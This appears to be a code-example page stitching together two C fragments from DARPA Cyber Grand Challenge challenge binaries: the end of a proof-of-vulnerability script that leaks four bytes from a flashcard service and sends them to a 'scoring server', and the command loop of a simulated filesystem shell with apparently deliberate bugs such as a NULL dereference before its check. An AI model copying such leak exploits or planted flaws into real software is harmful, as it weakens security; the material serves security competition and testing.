	write(STDOUT, "2\n", 2);

	// eat the prompt for the word to delete
	receive_bytes(STDIN, buffer, 22);

	// // delete all the words using a wildcard 

	write(STDOUT, "*\n", 2);

	count = 0;

	getline(buffer, sizeof(buffer));

	while(buffer[0] != 0 ) {

		++count;
		receive_bytes(STDIN, buffer, 33);
		write(STDOUT, "y\n", 2);
		getline(buffer, sizeof(buffer));

	}

	// maintenance menu
	receive_bytes(STDIN, buffer, 86);

	// add new words 
	write(STDOUT, "1\n", 2);

	for (i=0; i < 0x10000; ++i ) {

		// enter infinitive form
		receive_bytes(STDIN, buffer, 22);

		printf("@04x\n", i);

		receive_bytes(STDIN, buffer, 22);
		printf("@04x\n", i);		

		receive_bytes(STDIN, buffer, 1);

	}

	receive_bytes(STDIN, buffer, 22);

	write(STDOUT, "\n", 1);


	// maintenance menu
	receive_bytes(STDIN, buffer, 87);

	// exit the maintenance menu
	write(STDOUT, "5\n", 2);


	// get the main menu
	receive_bytes(STDIN, buffer, 77);

	write(STDOUT, "1\n", 2);


	receive_bytes(STDIN, buffer, 39);

	// eat the newline
	receive_bytes(STDIN, buffer, 1);

	// read in the returned value and the newline
	receive_bytes(STDIN, buffer, 5);

	// because of endianess, convert the second byte first
	byteval = Hex2Byte(buffer+2);

	// write it to the scoring server
	write(3, &byteval, 1);

	// now the first byte
	byteval = Hex2Byte(buffer);

	write(3, &byteval, 1);

	// hit "enter" to continue
	write(STDOUT, "\n", 1);

	// This is the "english meaning".  Read in the value, but no need to keep it.
	receive_bytes(STDIN, buffer, 7);


	// read in the returned value for the second word
	receive_bytes(STDIN, buffer, 5);

	// again, convert the second byte first
	byteval = Hex2Byte(buffer+2);

	write(3, &byteval, 1);

	// and the first byte, which makes the 4 we need for a win
	byteval = Hex2Byte(buffer);

	write(3, &byteval, 1);

	// quit flashcards
	write(STDOUT, "q\n", 2);

	// read in the value, but no need to keep it.
	receive_bytes(STDIN, buffer, 6);

	// get the main menu
	receive_bytes(STDIN, buffer, 77);

	// terminate the application
	write(STDOUT,"4\n", 2);


}
Beispiel #14
0
void main_loop(pDataStruct workingData){
	char *commandList[] = {"set", "get", "add", "delete","exit","help","ls","cat","cd"};
	char *setList[] = {"date", "user", "group","help"};
	char *getList[] = {"date", "user", "group", "workingDir","help", "userlist", "grouplist", "usersingroup"};
	char *addList[] = {"user", "group", "file", "directory", "usertogroup","perm", "appendfile","help"};
	char *deleteList[] = {"user", "group", "file", "directory", "usertogroup","perm", "filebytes","help"};
	char arg[16][MAXCOMMAND];
	char command[MAXCOMMAND];
	int argnum, i, j, tempNum, cmd, size;
	char *c;
	char temp[MAXPATH];
	char *tempBuf;
	unsigned char *rcvBuf;
	pNode tempNode = NULL;
	pUser tempUser = NULL;
	pGroup tempGroup = NULL;
	pFile tempFile = NULL;
	pPerms tempPerms = NULL;
	pFileChunk tempFileChunk = NULL;
	pGroupUserList tempGroupUserList = NULL;

	while(1){
		argnum = i = j = tempNum = cmd = 0;
		c = 0;
		bzero(temp, sizeof(temp));
		tempBuf = NULL;
		tempNode = NULL;
		tempUser = NULL;
		tempGroup = NULL;
		tempFile = NULL;
		tempPerms = NULL;
		tempFileChunk = NULL;
		tempGroupUserList = NULL;		
		bzero(command, sizeof(command));
		print_prompt(workingData);
		get_string(command, MAXCOMMAND-1, "");
		for (j = 0;j<16;j++){
			bzero(arg[j],MAXCOMMAND);
		}
		argnum = parse_arg(arg, command);
		tempNum = 0;
		cmd = 100;

		for (i=0;i<sizeof(commandList)/4;i++){
			if (strcmp(commandList[i],arg[0]) == 0 ){
				cmd = i;
			}
		}
		switch(cmd)
		{
			case 0x0 : //set
				cmd = 100;
				for (i=0;i<sizeof(setList)/4;i++){
					if (strcmp(setList[i],arg[1]) == 0){
						cmd = i;
					}
				}
				switch(cmd)
				{

					case 0 : //set date
						workingData->date = get_time();
						break;//end set date

					case 1 : //set user

						if ( strcmp(arg[2],"") == 0){
							puts("missing user name or number");
							break;
						}
						tempUser = find_user(arg[2],workingData);
						if ( tempUser != NULL ){
							workingData->currentUser = tempUser;
						} else { 
							printf("unknown user: @s\n",arg[2]);
						}
						break;//end set user

					case 2 : //set group

						if ( strcmp(arg[2], "") == 0){
							puts("missing group name or number");
							break;
						}
						tempGroup = find_group(arg[2], workingData);
						if ( tempGroup != NULL){
							workingData->currentGroup = tempGroup;
						} else {
							printf("unknown group: @s\n",arg[2]);
						}
						break;

					case 3 : //set help
						print_help(setList,(sizeof(setList)/4));
						break;//end set help

					default :
						printf("Invalid command: @s\n",arg[1]);

				}

				break;//end set 

			case 1 ://get
				cmd = 100;
				for (i=0;i<sizeof(getList)/4;i++){
					if (strcmp(getList[i],arg[1]) == 0){
						cmd = i;
					}
				}
				switch(cmd)
				{

					case 0 : //get date
						strofdate( workingData->date);
						break;//end get date

					case 1 : //get user
						printf("@s\n",workingData->currentUser->name);
						break;//end get user

					case 2 : //get group
						printf("@s\n",workingData->currentGroup->name);
						break;//end get group

					case 3 : //get workingDir
						bzero(temp,MAXPATH);
						str_of_path( temp, workingData, workingData->workingDir);
						printf("@s/\n",temp);
						break;//end get workingDir

					case 4 : //get help
						print_help(getList,(sizeof(getList)/4));
						break;//end get help

					case 5 : //get userlist
						print_user_list(workingData);

						break;//end get userlist

					case 6 : //get grouplist
						print_group_list(workingData);
						break;//end get grouplist

					case 7 : //get usersingroup
						if ( strcmp(arg[2], "") == 0){
							puts("missing group name or number");
							break;
						}
						tempGroup = find_group(arg[2], workingData);
						if ( tempGroup != NULL ){
							print_users_in_group(tempGroup);
							break;
						}
						printf("unknown group: @s\n",arg[2]);
						break;//end get useringroup						

					default :
						printf("Invalid command: @s\n",arg[1]);
				}

				break;//end get

			case 2 ://add
				cmd = 100;
				for (i=0;i<sizeof(addList)/4;i++){
					if ( strcmp(addList[i],arg[1]) == 0 ){
						cmd = i;
					}
				}
				switch(cmd)
				{
					case 0 : //add user

						if ( strcmp(arg[2],"") == 0 ){
							bzero(temp,MAXPATH);
							get_string(temp, 128, "UserName");
							strcpy(arg[2],temp);
						}
						tempUser = find_user( arg[2], workingData);
						if ( tempUser == NULL ){
							add_user( arg[2], workingData );
						} else {
							puts("Username already in use");
						}
						break;//end add user

					case 1 : //add group
						if ( strcmp(arg[2],"") == 0 ){
							bzero(temp,MAXPATH);
							get_string(temp, 128, "GroupName");
							strcpy(arg[2], temp);
						}
						tempGroup = find_group( arg[2], workingData);
						if ( tempGroup == NULL ){
							add_group( arg[2], workingData );
						} else {
							puts("Groupname already in use");
						}
						break;//end add group

					case 2 : //add file
						//add file name size
						tempNum = atoi(arg[3]);
						if (strcmp(arg[2],"") == 0){
							puts("Filename required");
							break;
						}
						if ( tempNum > MAXUPLOAD ){
							puts("Too big");
							break;
						}
						if ( find_node_by_name(arg[2],workingData->workingDir->directoryHeadNode) != NULL ){
							puts("There is another file or directory with that name");
							break;
						}
						if ( tempNum > 0){
							rcvBuf = mallocOrDie(tempNum,"Failed to allocate tempBuf");
							puts("-----Begin File-----");//five - 
							if ( tempNum != receive_bytes(rcvBuf,tempNum) ){
								die("Failed to reveive file");
								break;
							}
						} else {rcvBuf = NULL;}
						tempNode = add_file( workingData->workingDir, workingData->date, tempNum, arg[2], (char *)rcvBuf, workingData->currentUser );
						break;//end add file

					case 3 : //add directory

						if (strcmp(arg[2],"") == 0){
							puts("Directory name required");
							break;
						}
						if ( find_node_by_name(arg[2],workingData->workingDir->directoryHeadNode) != NULL ){
							puts("There is another file or directory with that name");
							break;
						}
						tempNode = add_directory( workingData->date, arg[2], workingData->workingDir, workingData->currentUser );
						break;//end add directory

					case 4 : //add useringroup
						if (strcmp(arg[2],"") == 0){
							puts("username or number required");
							break;
						}
						tempUser = find_user( arg[2], workingData);
						if ( tempUser != NULL ){//user exists
							tempGroupUserList = is_user_in_group( tempUser, workingData->currentGroup );
							if ( tempGroupUserList == NULL ){//user is not already in group	
								add_user_to_group( tempUser, workingData->currentGroup );
							} else {printf("@s is already in @s\n",arg[2], workingData->currentGroup->name);}
						} else {
							puts("User does not exist, add user first");
						}

						break;//end add useringroup
						
					case 5 : //add perm
						if (  ( strcmp(arg[2],"") == 0 )||( strcmp(arg[2]," ") == 0 )  ){//arg[2] name of file or dir
							puts("name of file or directory required");
							break;
						}
						if (!(  (strcmp(arg[3],"user") == 0) ^ (strcmp(arg[3],"group") == 0) )) {//arg[3] user, group
							puts("'user' or 'group'");
							break;
						}
						if (strcmp(arg[4],"") == 0){
							puts("user name, group name, or number required");//arg[4] name or number of user or group
							break;
						}
						tempNode = find_node_by_name(arg[2],workingData->workingDir->directoryHeadNode );//validate file or dir
						if (tempNode == NULL){
							puts("Invalid file or directory");
							break;
						}
						if (tempNode->type == LINK){
							tempNode = tempNode->directoryHeadNode;
							break;
						}
						if (strcmp(arg[3],"user") == 0){
							tempUser = find_user(arg[4],workingData);
							tempGroup = NULL;
							if (tempUser == NULL){
								printf("user @s not found\n",arg[4]);
								break;
							}
						} else {
							tempGroup = find_group(arg[4],workingData);
							tempUser = NULL;
							if (tempGroup == NULL){
								printf("group @s not found\n",arg[4]);
								break;
							}
						}

						validate_current_perms(tempNode, workingData);
						tempPerms = add_perm(tempUser, tempGroup, tempNode ); 
						break;//end add perm

					case 6 : //add appendfile
						tempNum = atoi(arg[3]);
						if (strcmp(arg[2],"") == 0){
							puts("Filename required");
							break;
						}
						if ( tempNum > MAXUPLOAD ){
							puts("Too big");
							break;
						}
						tempFile = find_file_by_name(arg[2],workingData->workingDir);
						if (  tempFile == NULL ){
							puts("No file in working directory by that name");
							break;
						}
						if ( tempNum > 0){
							tempBuf = mallocOrDie(tempNum,"Failed to allocate tempBuf");
							puts("-----Begin File-----");//five - 
							if ( tempNum != receive_bytes((unsigned char *)tempBuf,tempNum) ){
								die("Failed to reveive file");
								break;
							}
						} else {
							tempBuf = NULL;
							puts("Can not add 0 bytes to file");
							break;
						}
						tempFileChunk = add_file_chunk( tempBuf, tempFile, tempNum );
						break;//end add appendfile

					case 7 : //add help
						print_help(addList, (sizeof(addList)/4));	
						break;//end add help

					default :
						printf("Invalid command: @s\n",arg[1]);
				}

				break;//end add
			case 3 ://delete 	
				cmd = 100;
				for (i=0;i<sizeof(deleteList)/4;i++){
					if ( strcmp(deleteList[i],arg[1]) == 0 ){
						cmd = i;
					}
				}
				switch(cmd)
				{

					case 0 : //delete user
						bzero(temp,MAXPATH);
						if ( strcmp(arg[2],"") == 0 ){
							get_string(temp, 128, "User Name or number");
							strcpy(arg[2],temp);
						}
						tempUser = find_user( arg[2], workingData);
						if ( tempUser != NULL ){
							remove_user(tempUser , workingData );
						} else {
							puts("No such user found");
						}
						break;//end delete user

					case 1 : //delete group
						bzero(temp,MAXPATH);
						if ( strcmp(arg[2],"") == 0 ){
							get_string(temp, 128, "Group Name or number");
							strcpy(arg[2],temp);
						}
						tempGroup = find_group( arg[2], workingData);
						if ( tempGroup != NULL ){
							remove_group(tempGroup , workingData );
						} else {
							puts("no such group found");
						}
						break;//end delete group 

					case 2 : //delete file 
						if (strcmp(arg[2],"") == 0){
							puts("Filename required");
							break;
						}
						tempNode = find_file_node_by_name(arg[2],workingData->workingDir);
						if (tempNode == NULL){
							puts("No such file");
							break;
						}
						delete_node(tempNode, workingData);
						break;//end delete file 

					case 3 : //delete directory
						if (strcmp(arg[2],"") == 0){
							puts("Directory name required");
							break;
						}
						tempNode = find_directory_by_name(arg[2],workingData->workingDir);
						if (tempNode == NULL){
							puts("No such directory");
							break;
						}
						delete_node(tempNode, workingData);
						break;//end delete directory

					case 4 : //delete usertogroup
						if (strcmp(arg[2],"") == 0){
							puts("User name required");
							break;
						}
						if (strcmp(arg[3],"") == 0){
							puts("group name required");
							break;
						}
						tempUser = find_user(arg[2],workingData);
						if (tempUser == NULL){
							puts("No such user");
							break;
						}
						tempGroup = find_group(arg[3],workingData);
						if (tempGroup == NULL){
							puts("No such group");
							break;
						}
						tempGroupUserList = is_user_in_group(tempUser, tempGroup);
						if (tempGroupUserList == NULL){
							puts("User is not in group");
							break;
						}
						remove_user_from_group(tempUser, tempGroup);
						break;//end delete usertogroup

					case 5 : //delete perm
						if (strcmp(arg[3],"") == 0){
							puts("User or group name required");
							break;
						}
						if (strcmp(arg[2],"") == 0){
							puts("file name required");
							break;
						}
						tempNode = find_node_by_name(arg[2],workingData->workingDir->directoryHeadNode);
						if (tempNode == NULL){
							puts("No such file");
							break;
						}
						tempPerms = find_perm_by_name(arg[3],tempNode,workingData);
						if (tempPerms != NULL){
							delete_perms(tempNode, tempPerms);
						} else {
							puts("No such user permission on file");
						}
						break;//end delete perm

					case 6 : //delete filebytes [file] [numbytes]
						if (strcmp(arg[2],"") == 0){
							puts("Filename required");
							break;
						}
						size = strict_atoi(arg[3]);
						if (size == 0){
							puts("zero bytes deleted");
							break;
						}
						//validate file						
						tempNode = find_file_node_by_name(arg[2],workingData->workingDir);
						tempFile = tempNode->file;
						if (tempNode == NULL){
							puts("No such file");
							printf("@s\n",arg[2]);
							break;
						}
						tempNum = get_file_size(tempFile);
						if (size > tempNum){
							puts("Too many bytes");
						} 
						//tempNum is new file size
						tempNum = tempNum - size;
						delete_file_bytes(tempFile, tempNum);
						break;//end delete file 

					case 7 : //delete help
						print_help(deleteList, (sizeof(deleteList)/4));	
						break;//end delete help

					default:
						print_help(deleteList, (sizeof(deleteList)/4));	
						//break;//end delete help

				}
				break;//end delete
				

			case 4 ://cgc_exit
				puts("exiting");
				goto cgc_exit;
				break;

			case 5 ://help
				print_help(commandList, (sizeof(commandList)/4));
				break;
			case 6 ://ls
				print_working_dir(workingData);
				break;
			case 7 ://cat
				if (strcmp(arg[1],"") == 0){
					puts("Filename required");
					break;
				}
				tempFile = find_file_by_name(arg[1], workingData->workingDir);							
				if ( tempFile != NULL ){
					tempFileChunk = tempFile->head;
					puts("-----Begin File-----");//five - 
					while ( tempFileChunk != NULL ){
						if (tempFileChunk->chunkSize != cgc_write(tempFileChunk,tempFileChunk->chunkSize)){
							puts("file write failed");
						}
/*
						c = tempFileChunk->chunk;
						for ( i = 0; i < tempFileChunk->chunkSize; i++ ){//putc each byte of every chunk
							putc( *c);
							c++;
						}
*/						
						tempFileChunk = tempFileChunk->next;	
					}
					puts("-----END File-----");//five - 
				}
				break;
			case 8 ://cd
				if (strcmp(arg[1],"") == 0){
					puts("directory required");
					break;
				}
				if (strcmp(arg[1],"..") == 0){
					if (workingData->workingDir->parent != NULL){
						workingData->workingDir = workingData->workingDir->parent;
					}
					break;
				}
				tempNode = find_directory_by_name(arg[1],workingData->workingDir);
				if ( tempNode != NULL ){
					workingData->workingDir = tempNode;
					break;
				}
				puts("No such directory in working directory");
				break;//end cd

			default :
				printf("Invalid command @s\n",arg[0]);
				print_help(commandList, (sizeof(commandList)/4));
				
		}
	}
	cgc_exit:
	return;
}